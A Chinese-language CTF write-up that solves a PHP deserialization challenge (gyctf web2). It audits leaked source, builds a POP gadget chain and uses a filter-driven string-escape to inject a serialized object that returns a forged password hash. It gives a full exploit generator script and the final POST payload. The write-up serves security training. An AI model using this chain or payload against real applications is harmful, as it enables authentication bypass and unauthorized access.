CTFSHOW-日刷-game-gyctf web2/pop鏈-反序列字元逃逸
嘗試注入,發現沒啥效果。嘗試掃描後臺
發現存在www.zip的網站備份,下載開啟,進行php程式碼審計
一共4個PHP檔案,其中index.php有一個當前目錄的檔案包含,因此可以繞過登入直接檢視update.php
/index.php?action=update
但是會檢查session因此沒法看到flag
update.php
<?php require_once('lib.php'); echo '<html> <meta charset="utf-8"> <title>update</title> <h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2> </html>'; if ($_SESSION['login']!=1){ echo "你還沒有登陸呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
可以看到要session[login]=1 ,才能獲得flag,轉到lib.php
if ($this->token=='admin') { return $idResult; }if (!$idResult) { echo('使用者不存在!'); return false; } if (md5($this->password)!==$passwordResult) { echo('密碼錯誤!'); return false; } $_SESSION['token']=$this->name; return $idResult; }
從login函式分析可知,要想能成功返回(也就是登入成功),有兩種方法,一就是token=admin,二是滿足passwd的md5值等於資料庫中的儲存值
但是token是在方法二滿足後才賦值的,所以還是要用方法二
注意到login函式接收一個引數$sql,這個是執行的sql語句,預設是 “select id,password from user where username=?”,我們可以想辦法讓它等於 “select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?”
這樣sql返回的passwd就是1的MD5值,同時我們讓post的passwd等於1,不就滿足條件二嗎,而且條件二滿足後,就會讓session裡的token=admin,再次登入就不會檢查密碼了。
下一步就是想辦法傳入這個引數並且執行login函式
觀察可得update頁面會呼叫user類的update()方法
...
$users=new User(); $users->update();
...
轉到user類的該方法
public function update(){ $Info=unserialize($this->getNewinfo());
...
}
發現呼叫getinfo方法,轉進
public function getNewInfo(){ $age=$_POST['age']; $nickname=$_POST['nickname']; return safe(serialize(new Info($age,$nickname))); }
分析可知這裡接收兩個引數age和nickname,然後以這兩個為引數值構造一個info類,過濾後再進行序列化
轉到info類
class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } }
可以發現__call函式,當呼叫info類中一個不存在的類時就會執行改魔術方法,執行輸出當前類中的ctrlcase的login函式,並且將引數傳遞進去
這樣我們就能夠呼叫login函數了,同時$sql引數也有我們指定
但是在哪呼叫info類中的不存在函式,這裡主要看user類的一個tosring方法
public function __toString() { $this->nickname->update($this->age); return "0-0"; }
發現這裡會呼叫nickname中的update函式,age作為引數,如果我們讓nickname為info類,age等於我們想執行的語句,不就行了嗎。
下一步時尋找在哪才能呼叫這個tostring方法,最後再UpdateHelper類中
Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct() { echo $this->$sql; } }
這裡可以看到echo了當前類中的$sql變數,我們讓$sql等於user類即可
這裡給出反序列構造方法:
<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();
$in=new Info();
$in->CtrlCase=$db;
$user=new User();
$user->nickname=$in;
$update=new UpdateHelper();
$update->sql=$user;
echo serialize($update);
但是如何傳入這個序列化資料進行反序列化呢?由上面分析可知,原始碼中會反序列化一個info類,但是那個info類我們只能傳入兩個引數,然後它兩個引數來構造類並且反序列化。這裡其實可以繞過,方法是利用反序列化字串字元逃逸漏洞
我們讓info三個引數(除了傳入的兩個引數,還有一個ctrlcase引數),其中一個為我們想要的序列化類即可(類中類也會一起序列化,反序列化會一起反序列化)。這裡用字元逃逸漏洞,
注意
function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); }
可以看到有字元替換,且長度不同,也就意味著字元逃逸,這裡不詳細說明了
給出最終指令碼
<?php class dbCtrl { public $name="admin"; public $password="1"; } class Info{ public $age; public $nickname; public $CtrlCase; } class User { public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?"; public $nickname; } Class UpdateHelper{ public $sql; } $db=new dbCtrl(); $in=new Info(); $in->CtrlCase=$db; $user=new User(); $user->nickname=$in; $update=new UpdateHelper(); $update->sql=$user; function safe($parm){ $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter"); return str_replace($array,'hacker',$parm); } $k=new Info(); $k->age=18; $m=str_repeat("into",146); $k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}'; echo($k->nickname); ?>
payload:
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
稍微解釋下,
";s:8:"CtrlCase";serialize($update)}
雙引號和前面提前閉合(長度替換後),後面加上ctrlcase引數,並且內容是我們想反序列化的類,最後加上一個}來提前結尾
最後再用admin 隨便啥密碼登入一下